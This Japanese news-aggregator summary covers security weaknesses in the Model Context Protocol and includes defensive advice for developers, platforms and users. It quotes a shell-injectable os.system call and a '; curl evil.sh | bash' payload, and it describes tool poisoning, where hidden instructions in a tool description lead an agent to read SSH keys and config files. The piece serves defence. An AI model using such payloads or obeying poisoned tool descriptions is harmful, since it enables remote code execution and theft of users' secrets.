2 ポイント 投稿者 GN⁺ 2025-04-07 | まだコメントはありません。 | WhatsAppで共有
  • Model Context Protocol(MCP) は、Claude、GPT、Cursor のような LLM エージェントをツールやデータに接続する標準として注目されているが、基本的なセキュリティモデルが弱く、導入そのものが攻撃面を広げる可能性がある
  • 標準 API 接続、永続セッション、コマンド実行、コンテキスト共有が容易になる一方で、任意のサーバー接続が シェル・シークレット・インフラ へつながる迂回経路になり得る
  • Equixly のテストでは、MCP サーバー実装の 43%超 に安全でないシェル呼び出しが含まれており、Invariant Labs はツール説明に悪意ある指示を埋め込む Tool Poisoning Attack を扱っている
  • MCP には認証標準、コンテキスト暗号化、ツール完全性の検証が不足しており、ユーザーはエージェントが実際に読むツール指示文全体を確認しにくい
  • 開発者には入力検証とバージョン固定、プラットフォームにはメタデータ表示と完全性ハッシュ、ユーザーには任意サーバー接続や予期しないツール更新の監視が必要である

MCPが攻撃面になる理由

  • MCP(Model Context Protocol) は、LLM がツールやデータと統合される方法のための新しい標準であり、「AI エージェント向け USB-C」と呼ばれている
  • エージェントは MCP を通じて複数の作業を標準化された方法で処理できる
    • 標準化された API でツールに接続
    • 永続セッションを維持
    • コマンドを実行
    • ワークフロー間でコンテキストを共有
  • 核心的な問題は、MCP が 基本的なセキュリティモデル を提供していない点にある
    • 任意の MCP サーバーにエージェントを接続すると、シェル、シークレット、インフラへつながるサイドチャネルが生じる可能性がある

実際に言及されている攻撃手法

  • コマンドインジェクション脆弱性

    • Equixly のテストでは、MCP サーバー実装の 43%超 に安全でないシェル呼び出しが含まれていた
    • 例のコードは os.system("notify-send " + notification_info['msg']) のように、ユーザー入力をシェルコマンドへ直接結合している
    • 攻撃者が MCP ツールのパラメータに "; curl evil.sh | bash" のようなペイロードを入れると、信頼されたエージェントを通じてリモートコード実行が発生し得る
  • Tool Poisoning Attack

    • Invariant Labs が扱った攻撃は、悪意ある指示を MCP ツールの説明 の中に隠す
    • この説明はユーザーには見えないが、AI にはそのまま露出する
    • 例のツールは 2 つの数字を足す関数のように見えるが、説明の中に ~/.ssh/id_rsa~/.cursor/mcp.json を読めという指示を含んでいる
    • Cursor のようなエージェントはこうした指示に従う可能性がある
  • Silent Redefinition

    • MCP ツールはインストール後に自らの定義を変更できる
    • ユーザーが初日に安全そうなツールを承認していても、その後 API キーを攻撃者へ送るよう静かに変更される可能性がある
    • これは LLM 内部に入り込んだ サプライチェーン問題 と見ることができる
  • Cross-Server Tool Shadowing

    • 複数のサーバーが同じエージェントに接続されている場合、悪意あるサーバーが信頼されたサーバー向けの呼び出しを上書きしたり横取りしたりできる
    • 起こり得る結果は次のとおり
      • ユーザーに送ったように見えるメールを攻撃者へ送信
      • 無関係なツールに密かにロジックを挿入
      • 目立たない引数を通じてデータ流出をエンコード

欠けている防御策と役割別の対応

  • MCP の現在の優先順位は、容易な統合と統一インターフェースに近く、次のようなセキュリティ機能が不足している
    • 認証標準 がない
    • コンテキスト暗号化がない
    • ツール完全性を検証する方法がない
  • ユーザーはエージェントが見ているツール指示文全体を確認できず、「このツールは改ざんされていない」と検証する仕組みもない
  • 開発者

    • 入力検証を使う
    • MCP サーバーとツールのバージョンを固定する
    • ツール説明をサニタイズする
  • プラットフォームビルダー

    • ツールの完全なメタデータを表示する
    • サーバー更新に 完全性ハッシュ を使う
    • セッションセキュリティを強制する
  • ユーザー

    • 任意のサーバーに接続しない
    • 本番ログのようにセッション動作を監視する
    • 予期しないツール更新を監視する

ScanMCP.com の構想

  • ScanMCP.com には、接続された MCP ツールを監査するスキャナーとダッシュボードを組み込める可能性がある
  • 表示対象は次のとおり
    • RCE、ツール汚染、セッション漏えいのようなリスク
    • ユーザーが見る情報と エージェントが見る情報 の差
  • 適した対象は、エージェントプラットフォームのセキュリティチーム、AI インフラのスタートアップ、信頼を重視する独立系ツールビルダーである
  • MCP は強力だが、基本的なセキュリティプロトコルが整うまでは、可視性と制御を提供するツールが必要である

まだコメントはありません。

まだコメントはありません。